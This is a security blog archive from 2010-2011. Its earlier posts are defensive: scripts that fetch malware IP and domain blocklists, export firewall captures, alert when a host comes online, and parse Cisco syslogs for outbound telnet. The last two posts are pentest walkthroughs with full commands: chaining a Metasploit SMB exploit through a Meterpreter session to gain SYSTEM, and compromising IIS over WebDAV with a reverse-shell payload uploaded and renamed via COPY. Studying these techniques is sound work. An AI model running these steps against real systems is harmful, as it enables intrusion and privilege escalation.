Tuesday, March 8, 2011

Poor Man's RSS Feed - IP List Style

Similar to the last post, I came up with something that grabs known bad IP addresses. This should be used with caution because sometimes legitimate sites will be compromised, or shared services could be used.

Black listing, or null routing, an IP address could have undesired side effects. As always it is best to do default deny policy but in cases where that is not possible, this can be used as an alternative.

Sites used in the script:
https://spyeyetracker.abuse.ch/blocklist.php?download=ipblocklist
http://www.malwaredomainlist.com/hostslist/ip.txt
https://zeustracker.abuse.ch/blocklist.php?download=ipblocklist


#!/bin/bash
DATE=`date +%m-%d-%Y`

# Let's grab the daily malware lists and save them into a sorted file...
wget -i /root/Malware/websites-to-download.txt --no-check-certificate -O /root/Malware/malwaresites-blacklist-ipaddy.txt
cat /root/Malware/malwaresites-blacklist-ipaddy.txt | sed 's/[ \t]*$//' | sort | uniq > /root/Malware/evil-ipaddy-list-$DATE.txt

# We are going to take the sorted file and look for any new IPs, if they appear then we'll mail the changes out
if [ -e /root/Malware/evil-ipaddy-list-$DATE.txt ]; then
comm -13 /root/Malware/previous-ipaddy-scan.txt /root/Malware/evil-ipaddy-list-$DATE.txt > /root/Malware/evilness_for_$DATE.txt
sendEmail -f malware_police@somedomain.com -t someone@somedomain.com -u $DATE Daily Evil IP Address BlockList -o message-file=/root/Malware/evilness_for_$DATE.txt -s ex-smtp.somedomain.com:25
fi

# Once we are done with today's sorted file, we are going to save it for later comparison
ln -sf /root/Malware/evil-ipaddy-list-$DATE.txt /root/Malware/previous-ipaddy-scan.txt

Poor Man's Malware RSS Feed

A customer of mine was in need of a way to be fed well known malware sites on a daily basis so they could feed it into their web inspection proxy. They operated on a blacklist style filtering strategy as opposed to the preferred whitelist methodology.

I figured that a quick and dirty way would be to create for them a daily mail reminder with a list of sites identified as dirty over the last 24 hours. I chose to use some well known malware research sites such as the ones below:

https://spyeyetracker.abuse.ch/blocklist.php?download=domainblocklist
https://zeustracker.abuse.ch/blocklist.php?download=domainblocklist
http://isc.sans.edu/feeds/suspiciousdomains_High.txt


The script I came up with will go out and rip down the data from these lists and store it into a file. Every 24 hours (when combined with cron) it will repeat this and then it will email the recipient any new sites over the last 24 hours.

#!/bin/bash
DATE=`date +%m-%d-%Y`

# Let's grab the daily malware lists and save them into a sorted file...
wget -i /root/Malware/website-urls-to-download.txt --no-check-certificate -O /root/Malware/malwaresites-blacklist-urls.txt
wget http://www.malwaredomainlist.com/hostslist/hosts.txt -O /root/Malware/bad-format-urls.txt
cat /root/Malware/bad-format-urls.txt | cut -c12-100 >> /root/Malware/malwaresites-blacklist-urls.txt
cat /root/Malware/malwaresites-blacklist-urls.txt | sed 's/[ \t]*$//' | sort | uniq > /root/Malware/evil-url-list-$DATE.txt

# We are going to take the sorted file and look for any new URLs, if they appear then we'll mail the changes out
if [ -e /root/Malware/evil-url-list-$DATE.txt ]; then
comm -13 /root/Malware/previous-url-scan.txt /root/Malware/evil-url-list-$DATE.txt > /root/Malware/evil_urls_for_$DATE.txt
sendEmail -f malware_police@somedomain.com -t someone@somedomain.com -u $DATE Daily Evil URL BlockList -o message-file=/root/Malware/evil_urls_for_$DATE.txt -s ex-smtp.somedomain.com:25
fi

# Once we are done with today's sorted file, we are going to save it for later comparison
ln -sf /root/Malware/evil-url-list-$DATE.txt /root/Malware/previous-url-scan.txt



This was done on Linux BackTrack4 distribution.

Thursday, November 4, 2010

Exporting Packet Captures - Multi-Context FWSMs

I came across an interesting scenario today that was worth sharing. I'm in charge of a multi-context Cisco FWSM (firewall services module). Today, while troubleshooting an issue I ran a packet capture to analyze the problem which is normally one of the first things I do.

I realized I had done this capture on a context which did not have a management IP address (don't ask). Not having any way to directly route to the context meant that my usual method of downloading the capture in *.pcap format wouldn't work via a browser, so what to do?

After some searching around, I discovered that you could simply use TFTP through the FWSM's system context to obtain the file...problem solved!

FWSM# copy /pcap capture:examplecontext/in-cap tftp:

FWSM# copy /pcap capture:public/skid-capture.pcap tftp:
Source capture name [public/skid-capture]?
Address or name of remote host []? 1.1.1.1
Destination filename [skid-capture.pcap]?
!!!!!!
111 packets copied in 1.200 secs (111 bytes/sec)

Wednesday, November 3, 2010

Determining When Devices Hit the Wire

Often I will find myself needing to determine when a device comes back online. The reasons are numerous, but it could be as simple as waiting for a device to complete a reboot or it could be that a pesky, malware-laden device which only pokes its head online for short durations each day. Back in the day, it would likely take a continuous ping running in the background to determine when the device comes online, although who wants to continuously monitor a ping? Also, if I wasn't at my computer at that particular moment then I may never be the wiser.

To tackle these scenarios, I thought it would be personally useful if there was an automated method of notification so that this process could all be done in the background for me, and I could continue whatever work I was doing without having to micro-manage a ping.

For me, I felt it would be great if an email notification could be used since I could use Outlook's preview window in conjunction with my ping to quickly break me away from what I was doing to allow my investigation to begin when the device in question came back online. My first attempt at this was using a simple ICMP echo (type 8) to determine device's status. When the device came back online, I used the Linux sendEmail program to email me with the status update. The result was a short little bash script and the code that follows.

#!/bin/bash

echo "Please enter the IP address or FQDN of the host you are interested in: "
read ipaddress

echo -e "\nPlease enter Exchange password (Used for sendEmail Purposes): "
read -s PASSWORD

while :
do
ping -c 1 $ipaddress > /dev/null
if [ $? -eq 0 ]; then
sendEmail -f (enter from address) -t (enter your email address) -u Commence the Investigation!!! -m Host $ipaddress is back online! -s (enter SMTP relay server):25 -xu (enter username) -xp $PASSWORD -o tls=no
break
fi
done



As you can see, nothing too special here. The script simply ran a ping in loop, where it would send a single ICMP type 8 echo packet and wait for an ICMP echo-reply (type 0) to return. Now, there are a couple glaring problems with this, most notably what happens if the device in question doesn't respond to ICMP because it is behind a firewall, for example? To overcome some of the limitations with using ICMP, I came up with a second script that makes calls the fantastic Nmap in order to customize the types of probes used to determine a device's online status.

#!/bin/bash

NMAP=/usr/bin/nmap
NMAPOPTIONSLINUX="-n -PN -sS -p22,25,53,80,110,143,443 -PA22,53,80,443"
NMAPOPTIONSWIN="-n -PN -sS -p135-139,445,1025 -PA135-139,445,1025"
NMAPOPTIONSCISCO="-n -PN -sS -p22,23,80,443"

function Linux {
while :
do
$NMAP $NMAPOPTIONSLINUX $IPADDYLINUX > nmap.txt
cat nmap.txt | grep "Host is up" > /dev/null
if [ $? -eq 0 ]; then
sendEmail -f (from email address) -t (to email address) -u Commence the Investigation!!! -m Host $IPADDYLINUX is back online! -s (SMTP relay server) -o tls=no
break
fi
done
}

function Windows {
while :
do
$NMAP $NMAPOPTIONSWIN $IPADDYWIN > nmap.txt
cat nmap.txt | grep "Host is up" > /dev/null
if [ $? -eq 0 ]; then
sendEmail -f (from email address) -t (to email address) -u Commence the Investigation!!! -m Host $IPADDYLINUX is back online! -s (SMTP relay server) -o tls=no
break
fi
done
}

function Cisco {
while :
do
$NMAP $NMAPOPTIONSCISCO $IPADDYCISCO > nmap.txt
cat nmap.txt | grep "Host is up" > /dev/null
if [ $? -eq 0 ]; then
sendEmail -f (from email address) -t (to email address) -u Commence the Investigation!!! -m Host $IPADDYLINUX is back online! -s (SMTP relay server) -o tls=no
break
fi
done
}

function Menu {
clear
cat > /dev/stdout <<DELIM

========================================================
Please Select the Appropriate Device Type
[L]inux or Unix
[W]indows
[C]isco
[Q]uit
========================================================

DELIM

read DEVICETYPE
clear

shopt -s nocasematch
if [[ $DEVICETYPE = *L* ]]; then
echo "Please input IP address of Linux/Unix device:"
read IPADDYLINUX
echo -e "Thank You, An Email Will Be Sent When Host is Back Online...\n"
Linux
elif [[ $DEVICETYPE = *W* ]]; then
echo "Please input IP address of Windows device:"
read IPADDYWIN
echo -e "\nThank You, An Email Will Be Sent When Host is Back Online...\n"
Windows
elif [[ $DEVICETYPE = *C* ]]; then
echo "Please input IP address of Cisco device:"
read IPADDYCISCO
echo -e "\nThank You, An Email Will Be Sent When Host is Back Online...\n"
Cisco
elif [[ $DEVICETYPE = *Q* ]]; then
echo -e "\n\nGoodbye, and thank you for being the Network Police!"
exit 0
else
echo "Sorry, --> $DEVICETYPE <-- is an Unknown Selection"
echo "Press Enter to Continue..."
read
Menu
fi
shopt -u nocasematch
}

Menu



Besides a more polished look, this will actually cater the TCP probes based on the type of device in question. I customized the Nmap options based on personal experience with various types of OS. As with the ICMP script, it will wait for a device to come back online before notifying via email. Both of these bash scripts were written using the Linux Backtrack4 distro. Note that I did not require authentication on the SMTP relay server in the latter script.

Thursday, July 29, 2010

Manipulating Cisco Firewall Syslogs Using Linux Command Line

Recently, I've been doing a lot of firewall log auditing for various reasons. My Cisco firewalls send their logs to a centralized syslog server and are Gzipped, so the file sizes don't get out of control, once an hour.

I'm doing my analysis on a Linux box (BT4 distro) with limited disk space and many of the commands I like to use aren't installed on the syslog server. With these obstacles in place, here is how I've been dealing with the Gigs of syslog messages to get what I really want.

The first step was simply to grab 24 hours worth of log messages and this was as simple as FTP'ing into the syslog server and performing an "mget" on the date I desire. Now I have a lot of gzipped syslog files waiting for me to play with.

root@bt# ls -la
total 2915188
drwxr-xr-x 2 root root 4096 2010-07-28 14:01 .
drwxr-xr-x 48 root root 4096 2010-07-22 16:18 ..
-rw-r--r-- 1 root root 62478364 2010-07-27 15:25 fwsm.log.20100726.0000.gz
-rw-r--r-- 1 root root 64624441 2010-07-27 15:25 fwsm.log.20100726.0100.gz
-rw-r--r-- 1 root root 58798851 2010-07-27 15:25 fwsm.log.20100726.0200.gz
-rw-r--r-- 1 root root 57448529 2010-07-27 15:25 fwsm.log.20100726.0300.gz
-rw-r--r-- 1 root root 57916715 2010-07-27 15:25 fwsm.log.20100726.0400.gz
-rw-r--r-- 1 root root 58860324 2010-07-27 15:26 fwsm.log.20100726.0500.gz
-rw-r--r-- 1 root root 68676596 2010-07-27 15:26 fwsm.log.20100726.0600.gz
-rw-r--r-- 1 root root 78945716 2010-07-27 15:26 fwsm.log.20100726.0700.gz
-rw-r--r-- 1 root root 112321501 2010-07-27 15:26 fwsm.log.20100726.0800.gz
-rw-r--r-- 1 root root 169440875 2010-07-27 15:27 fwsm.log.20100726.0900.gz
-rw-r--r-- 1 root root 209838484 2010-07-27 15:27 fwsm.log.20100726.1000.gz
-rw-r--r-- 1 root root 227651887 2010-07-27 15:27 fwsm.log.20100726.1100.gz
-rw-r--r-- 1 root root 233153646 2010-07-27 15:28 fwsm.log.20100726.1200.gz
-rw-r--r-- 1 root root 244517081 2010-07-27 15:29 fwsm.log.20100726.1300.gz
(/snip)


Since I don't necessarily want to uncompress all the files just to inspect the contents, I'm going to use the nifty "zcat" command which does the same thing as "cat" but on a zipped file. Here is what the syslog format looks like on a Cisco firewall with no field manipulation.

root@bt# zcat fwsm.log.20100726.0000.gz | more
Jul 25 23:00:00 firewall main %FWSM-6-302013: Built outbound TCP connection 146767145916591362 for inside:1.1.1.1/2359 (1.1.1.1/31921) to outside:66.166.52.133/80 (66.166.52.133/80)


As you can see here, it is simply an outbound web session initiated from one of my internal hosts (IP changed to protect the innocent) destined for a web server on Covad's IP block. In this particular adventure, I'm trending for any outbound telnet sessions leaving the boundary of my network. Obviously, telnet is not a preferred transport mechanism, and that multiplies when leaving the internal network and crossing the Internet. Telnet is not encrypted and any snooping on the network can reveal the contents being transferred including usernames, passwords, etc. The first thing I want to do is find a sample telnet session, although the format will be identical the the syslog message above. My syntax includes a "Built outbound" as I don't want to see all the deny messages...also don't forget the space character after the /23. If you forget to include that then you'll get a lot of port numbers which include "23" such as 2300, 23000, etc.

root@bt# zcat fwsm.log.20100726.0000.gz | grep "Built outbound TCP" | grep "/23 " |more
Jul 25 23:06:17 firewall.example.com main %FWSM-6-302013: Built outbound TCP connection 146569495816626096 for inside:1.1.1.1/1366 (1.1.1.1/1366) to outside:166.111.30.174/23 (166.111.30.174/23)
Jul 25 23:30:55 firewall.example.com main %FWSM-6-302015: Built outbound TCP connection 146634027700247405 for inside:1.1.1.2/35886 (1.1.1.1/25685) to outside:91.213.175.139/23 (91.213.175.139/23)


Great, that worked like a champ as we can see in the example above. At this point it should be worth noting that there are multiple ways to skin this cat. We can combine search terms using grep, or simply use the more powerful sed/awk combination. For the purpose of this example, I'm trying to keep things simple so many of the syntax examples can be shortened and sped up. Perhaps this can be an exercise for a later time...

With my sample telnet violator message format handy, I now am interested in finding any source address participating in a telnet session from within my network. We'll also want to know who they talk to but we'll get to that in a moment. Here is how I manipulated the data fields to accomplish what I wanted. I simply used the built in Linux "cut" command to clean up the syslog format and then followed that with the "sort" "uniq" combination. This left me with exactly what I wanted. Before moving on, I save all these addresses into an Excel document so I can come back to them later. This could also be done a little quicker by first writing your data into a seperate text file before manipulation but, as mentioned earlier, I'm limited on disk space (and will be creating a file in a minute) so this was a fine compromise.

root@bt# zcat fwsm.log* | grep "Built outbound TCP" | grep "/23 " | cut -f5 -d ":" | cut -f1 -d "/" | sort | uniq
1.1.1.1
1.1.1.2
1.1.1.3
1.1.1.4
(/snip)


Okay, for the next phase, I want a text file containing all syslog messages related to built telnet sessions. I will be using this text file when I examine destination addresses connected to from the list of source addresses in my Excel document. To do this is rather easy, and covered earlier...the only difference is we'll be redirecting the output into a file instead of to the screen buffer.

root@bt# zcat fwsm.log* | grep "Built outbound TCP" | grep "/23 " > telnet-list.txt
root@bt# ls -la | grep "telnet"
-rw-r--r-- 1 root root 8785 2010-07-29 12:32 telnet-list.txt


In order to find destination addresses for my source IPs, I write a little bash script which allows me to do this. I call the script "telnet-lookup.sh" and it looks like this.

root@bt# nano telnet-lookup.sh
#!/bin/bash
cat telnet-list.txt | grep $1 | grep "Built outbound TCP" | cut -f6 -d ":" | cut -f1 -d "/" | sort | uniq

root@bt# chmod 755 telnet-lookup.sh
root@bt# ./telnet-lookup.sh 1.1.1.1
74.22.17.99
98.136.48.48
147.55.32.107


Simply repeat this on all source IPs and you now have a working matrix you can use to continue investigating why these flows are occurring...

Thursday, June 3, 2010

Using Chained Exploits - Metasploit and Meterpreter

There are certain situations where a successful exploit may leave us a shell, however that shell does not have SYSTEM/ROOT level privileges. As an example, I've obtained a Windows Meterpreter (reverse TCP) shell using a WebDAV exploit as explained earlier on this blog. This session has the rights of the web daemon, which are not enough to do most of the fun stuff.


meterpreter > getuid
Server username: USER\IWAM_USER
meterpreter > hashdump
[-] Unknown command: hashdump.
meterpreter > use priv
Loading extension priv...success.
meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: 87


After exhausting most of the local privilege escalation techniques I could think of (both using Meterpreter's built-in capabilities and uploading executable code on my target), I decided upon another approach. What if i could chain a second exploit and piggy back it off of my existing Meterpreter session? Fortunately, the developers of Metasploit implemented a neat feature that will allow me to do this very thing.

The route command actually can be configured to route all traffic through an existing Meterpreter session. As you can see, the following steps led me from frustration to GAME OVER. In this example, this was Meterpreter session four (which is the last argument in the route add syntax).

msf exploit(handler) > route add 127.0.0.1 255.255.255.255 4
msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
127.0.0.1 255.255.255.255 Session 4

msf exploit(handler) > use exploit/windows/smb/ms06_040_netapi
msf exploit(ms06_040_netapi) > set RHOST 127.0.0.1
msf exploit(ms06_040_netapi) > exploit

[*] Started reverse handler on 192.168.1.2:13337
[*] Detected a Windows XP SP0/SP1 target
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:127.0.0.1[\BROWSER] ...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:127.0.0.1[\BROWSER] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] Sending stage (748032 bytes) to 192.168.1.3
[*] Meterpreter session 8 opened (192.168.1.2:13337 -> 192.168.1.3:4855) at Thu Jun 03 16:48:41 -0400 2010

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Tuesday, May 11, 2010

Hacking IIS via WebDAV

Often, as pentesters, we will run into web servers running WebDAV. WebDAV is convenient for developers as it allows them to remotely edit and manage files on web serves. For the same reason that make it helpful for them, it can also leave it vulnerable to compromise. In this example, I've run across an IIS box running a very old version as reported by my Nmap scan.
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS webserver 5.1
Just to verify the results, I'll use Netcat to grab the banners off the box. It also verifies what Nmap reported.
#nc 1.1.1.1 80 -vv
(UNKNOWN) [1.1.1.1] 80 (www) open
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1

sent 17, rcvd 276
Once we are reasonably confident in our findings, let's scan for WebDAV. Essentially we want to know if it is present and what capabilities are active.

I use Metasploit and its built-in scanning modules for most of my follow-up steps. There are a few auxiliary modules that work brilliantly.
msf > use scanner/http/webdav_website_content
msf auxiliary(webdav_website_content) > set RHOSTS 1.1.1.1
msf auxiliary(webdav_website_content) > run
[*] Found file or directory in WebDAV response (1.1.1.1) http://1.1.1.1/scripts/

msf auxiliary(webdav_website_content) > use scanner/http/webdav_test
msf auxiliary(webdav_test) > set RHOSTS 1.1.1.1
msf auxiliary(webdav_test) > set PATH /scripts
[*] 1.1.1.1/scripts (Microsoft-IIS/5.1) has unknown ENABLED
[*] 1.1.1.1/scripts (Microsoft-IIS/5.1) Allows Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
[*] 1.1.1.1/scripts (Microsoft-IIS/5.1) Has Public Methods: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
[*] Attempting to create /scriptsWebDavTest_4OpejeyCdj
[*] 192.168.13.203/scripts is WRITEABLE
[*] Checking extensions for upload and execution
[*] Prohibited file types ASP, EXE
Considering that the server is filtering certain types of file extensions, we'll need to upload our payload using something safe; in this example I'll use .txt. Before we upload, we'll first need to create the payload so I'll setup a reverse meterpreter payload for Windows using port 1337. Here is how you would create the payload using the built-in Metasploit tools msfpayload and msfencode.

How-to: <span class="blsp-spelling-error" id="SPELLING_ERROR_18">DNS</span> Enumeration
cd /pentest/exploits/framework3
./msfpayload windows/meterpreter/reverse_tcp LHOST=2.2.2.2 LPORT=1337 R | ./msfencode -o evilpayload.asp
Now we realize we can't upload .asp files directly to the webserver so we'll get a little tricky. Earlier our WebDAV scans indicated we were able to execute the COPY command so this is where we will use it. Before we move to that, let's get our listener ready.
./msfconsole
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 2.2.2.2
set LPORT 1337
exploit
To make uploading the file easy, I found a neat tool named davtest which makes the heavy lifting very manageable. The program can be found here. The following syntax will take our meterpreter payload and upload it to the server using a .txt file extension.
./davtest.pl -url http://1.1.1.1/scripts/ -uploadfile/root/evilpayload.asp -uploadloc evilpayload.asp.txt
Browse to the server's script directory to ensure you see the new .txt file. The last major hurdle to tackle is renaming our file. Here is where we take advantage of the WebDAV COPY function. Netcat into the server and execute the following code.
nc 1.1.1.1 80 -vv
COPY /scripts/evilpayload.asp.txt HTTP/1.1
Host: 1.1.1.1
Destination: http://1.1.1.1/scripts/evilpayload.asp
Overwrite: T
Assuming this was successful, simply click on the newly created evilpayload.asp file and a meterpreter shell will be returned in your multi/handler session. In most cases, the limitation will be on local privilege (determined by what privilege IIS is running).